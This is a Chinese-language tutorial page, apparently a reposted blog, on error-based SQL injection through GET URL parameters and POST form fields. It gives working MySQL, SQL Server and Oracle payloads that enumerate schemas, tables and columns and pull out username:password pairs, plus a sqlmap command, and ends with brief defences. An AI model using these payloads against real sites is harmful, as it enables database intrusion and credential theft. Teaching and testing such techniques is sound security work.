当前位置: 首页 > wzjs >正文

版面设计素材网站网站建设情况

版面设计素材网站,网站建设情况,青州网站建设,最近的seo网站优化排名SQL注入:基于GET和POST的报错注入详解 一, 报错注入基本原理核心原理: 二、GET型报错注入1. 基本特征2. 攻击步骤(1)判断注入点(2)确定报错函数可用性(3) 获取数据库信息(4) 获取表名(5) 获取列名(6) 获取数据 3. 绕过技巧 三, PO…

SQL注入:基于GET和POST的报错注入详解

  • 一, 报错注入基本原理
    • 核心原理:
  • 二、GET型报错注入
    • 1. 基本特征
    • 2. 攻击步骤
      • (1)判断注入点
      • (2)确定报错函数可用性
      • (3) 获取数据库信息
      • (4) 获取表名
      • (5) 获取列名
      • (6) 获取数据
    • 3. 绕过技巧
  • 三, POST型报错注入
    • 1. 基本特征
    • 2. 攻击步骤
      • (1) 发现注入点
      • (2) 构造报错注入
      • (3) 获取数据
    • 3. 工具辅助
  • 四、不同数据库的报错注入方法
  • 五、防御措施

一, 报错注入基本原理

报错注入(Error-Based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息返回给用户时,攻击者可以构造特殊的SQL语句,使数据库执行时产生错误,并在错误信息中携带查询结果。

核心原理:

  1. 利用数据库函数故意制造错误;
  2. 通过错误信息回显获取数据
  3. 常用报错函数:
    MySQL: updatexml(), extractvalue(), floor()
    SQL Server: convert(), cast()
    Oracle: ctxsys.drithsx.sn()

二、GET型报错注入

1. 基本特征

  • 注入点位于URL参数中
  • 通过修改URL参数进行注入
  • 典型示例:http://example.com/news.php?id=1

2. 攻击步骤

(1)判断注入点

http://example.com/news.php?id=1’
观察是否返回数据库错误信息

(2)确定报错函数可用性

MySQL测试:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,version()),1)–+

如果返回包含MySQL版本号的错误信息,说明报错注入可行

(3) 获取数据库信息

获取当前数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,database()),1)–+

获取所有数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)–+

(4) 获取表名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)–+

(5) 获取列名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)),1)–+

(6) 获取数据

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select concat(username,‘:’,password) from users limit 0,1)),1)–+

3. 绕过技巧

  • 使用mid(),substr()函数处理长数据
  • 使用floor(rand()*2)报错方式
  • URL编码特殊字符

三, POST型报错注入

1. 基本特征

  • 注入点位于表单提交的数据中
  • 需要通过修改post请求进行注入
  • 典型示例:登录表单,搜索框等

2. 攻击步骤

(1) 发现注入点

提交单引号测试:

username=admin’&password=123

观察是否返回数据库错误

(2) 构造报错注入

使用Burp Suite拦截请求,修改POST数据:

username=admin’ and updatexml(1,concat(0x7e,version()),1)-- &password=123

(3) 获取数据

获取表名:

username=admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &password=123

3. 工具辅助

  • 使用Burp Suite的Repeater模块修改请求、
  • 使用sqlmap自动化测试
    sqlmap -u “http://example.com/login.php” --data=“username=admin&password=123” --technique=E --dbs

四、不同数据库的报错注入方法

  1. MySQL
and updatexml(1,concat(0x7e,(select user())),1)
and extractvalue(1,concat(0x7e,(select user())))
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2 .SQL Server

and 1=convert(int,@@version)
and 1=cast((select @@version) as int)

3 .Oracle

and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))

五、防御措施

  1. 使用参数化查询(Prepared Statements)

  2. 对输入进行严格的过滤和转义

  3. 关闭错误信息回显

  4. 使用WAF防护

  5. 最小权限原则,限制数据库用户权限

http://www.dtcms.com/wzjs/57842.html

相关文章:

  • cms wordpress模板优化关键词排名工具
  • 渑池县建设局网站苏州优化网站公司
  • 保定建设银行网站首页seo赚钱吗
  • 网站域名怎么弄女生读网络营销与电商直播
  • 网站制作公司员工怎样做好竞价推广
  • 广州公司建设网站百度官网登录
  • 安徽华强建设集团网站b站怎么推广
  • 黄石网站设计公司搜索引擎营销概念
  • office 网站制作企业营销网站建设系统
  • 车牌照丢失能在网站做吗免费建网站软件哪个好
  • 邢台做网站流程品牌广告语
  • wordpress 设置多域名 一个站点东莞做网站推广的公司
  • wordpress可以建网站吗地推团队接单平台
  • 毕业设计做网站答辩会问什么手机优化软件哪个好
  • 汉南做网站女教师网课入06654侵录屏
  • 下沙开发区建设局网站产品营销策划方案3000字
  • t想学网站建设宁波网站建设公司哪家好
  • 如何进入网站后台管理系统搜索引擎入口官网
  • 做僾网站定制网站制作公司
  • aspx怎么做网站推蛙网络
  • 今天合肥刚刚发生的重大新闻北京seo编辑
  • 拓展培训东莞网站建设网络营销有本科吗
  • 05网数学长沙优化排名
  • 做网站怎么选择服务器seo诊断的网络问题
  • 网站推广的特点爱站长
  • 郑州电商运营培训前端seo搜索引擎优化
  • 如何攻击Wordpress站点新媒体营销案例ppt
  • 做网站公司官网网络营销热点事件案例分析
  • 需要网站建设关键词排名优化
  • cms网站搭建好了再怎么做seo排名优化排行